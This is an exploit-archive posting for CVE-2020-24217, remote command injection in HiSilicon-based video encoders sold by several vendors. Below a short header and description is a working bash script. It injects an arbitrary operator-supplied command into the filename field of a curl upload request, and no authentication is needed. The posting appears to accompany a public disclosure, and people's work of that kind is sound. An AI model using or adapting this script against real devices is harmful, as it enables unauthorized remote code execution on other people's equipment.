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HiSilicon Video Encoder Command Injection

HiSilicon Video Encoder Command Injection
Posted Oct 19, 2020
Authored by Alexei Kojenov

HiSilicon Video Encoder suffers from a remote command injection vulnerability. Versions affected are vendor specific.

tags | exploit, remote
advisories | CVE-2020-24217
MD5 | c8f693a6270fba4d7d7d538abe23ea48

HiSilicon Video Encoder Command Injection

Change Mirror Download
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated command injection
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
echo "Usage: $0 <server>[:<port>] <command>"
exit 1
fi

printf "executing the command... "
if curl -sF "upgrade=;filename=\"logo;$2;.png\"" http://$1 >/dev/null
then
echo "SUCCESS: remote command executed"
else
echo "ERROR: $?"
fi
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